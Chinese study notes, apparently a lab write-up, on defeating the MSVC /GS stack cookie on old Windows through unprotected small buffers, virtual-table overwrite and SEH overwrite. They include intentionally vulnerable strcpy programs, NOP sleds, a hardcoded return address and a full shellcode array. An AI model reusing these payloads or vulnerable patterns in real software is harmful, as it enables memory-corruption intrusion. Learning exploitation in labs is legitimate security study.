目录
GS安全编译选项

原理就是在栈帧中加入一个随机的DWORD,ida交它为security cookie
位于ebp之前,函数返回之前,检测那个security cookie是否被覆盖了(即值改变了)
这样操作必然带来性能的下降,所以有些函数是不会应用GS的
1、函数不包含缓冲区;
2、函数被定义为加油变脸参数列表;
3、函数使用无保护的关键字标记;
4、函数在第一个语句中包含内嵌汇编代码;
5、缓冲区不是8字节类型而且大小不大于4个字节。
有例外就有绕过,所以又出来了
#pragma strict_gs_check(on)
可以对任意的函数添加security cookie,即可对不符合GS包含条件的函数添加GS保护
此外,vs2005之后还会变量重排,将字符串变量移动到栈的高地址处,即离ebp相距最近,这样可防止破坏局部变量的值,
而且还会将指针参数和字符串参数复制到内存中搞个副本,防止函数参数被破坏
接下来为了更为直观地反映出程序在内存中的状态,禁用编译优化

利用未保护的内存突破GS
看代码
#include "string.h"
int vulfuncion(char *str){
char array[4];
strcpy(array, str);
return 1;
}
int main(){
char * str = "yeah, the function is without GS";
vulfuncion(str);
return 0;
}
由于漏洞函数的缓冲区不包含4字节以上的缓冲区,所以没有GS保护
编译后可以用ida看看

如果我改成16,区别就出来了


J__RTC_CheckEsp是检查堆栈平衡的,上面那个_RTC_CheckStackVars具体不清楚,看名字就是检测栈上的变量的
0xCCCCCCCC unicode编码就是“烫烫”

我们启动调试

这个应该就是_RTC_CheckStackVars的作用了
我们尝试点击继续

那个0x6974636E,就是被ncti覆盖后的逆序

覆盖虚函数突破GS
代码
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
return 0;
}
先来199个\x90,先看看main函数

根进gsv,运行完strcpy暂停,看看栈的结构

为什么我们这里可以淹没那个Security Cookie呢,因为函数返回前我们调用了虚函数vir,如果虚函数表地址被我们改了,那么调用虚函数vir(就到我们向去的地方执行了)
问题来了,问题是buf每次的地址可能不一样,
但我们发现原始参数位于虚表附近

而且每次低位都是一样的

那我们只要将最低位覆盖成08就好了
计算了一下,还需27字节
strcpy覆盖前

结果是没考虑到哪个结束符00,将虚表地址的第三个字节覆盖了

先手动改一下吧。。。。

看看怎么调用的虚函数

接下来怎么跳到我们的shellcode呢
发现调用虚函数前我们栈顶的元素指向我们的shellcode

那么我们只要找个pop ret的组件就行了


后来实验。。。哎,失败,又出现各种问题。。。
作者那个好像有点问题执行完pop pop ret 后,就去shellcode的首地址,首地址是那跳板的地址,都不是指令,怎么搞呢
不过好像也可以翻译成指令

哎,先知道原理吧
之后在xp下实验吧,shellcode的首地址尾数竟然是00,跟作者的一样

查找rop

可以看到eip已经到这了
pop两次就回到

但是第一条指令会是那个rop地址,这就尴尬了

攻击异常处理突破GS
作者的代码
#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
void test(char * input)
{
char buf[200];
strcpy(buf,input);
strcat(buf,input);
}
void main()
{
test(shellcode);
}
运行一下,作者的代码还差4个90才能覆盖。。
加了四个后就可以了

参数被我们的90覆盖

所以最终触发访问异常(从非法地址读取数据)
调用被我们覆盖的那个地址,即shellcode的地址,最终执行shellcode
这个看着都有点困难
由于开了win7开了aslr,所以那个security cookie在01333000

之后将栈上的cookie修改为与ebp异或后的值即可
我们手动改为90吧,嘻嘻

在win7下肯定有的困难了,vs2012编译的在xp运行不了
在xp看看
执行完就被改了

看看覆盖返回地址后的状态

之后就执行到shellcode位置了

ko


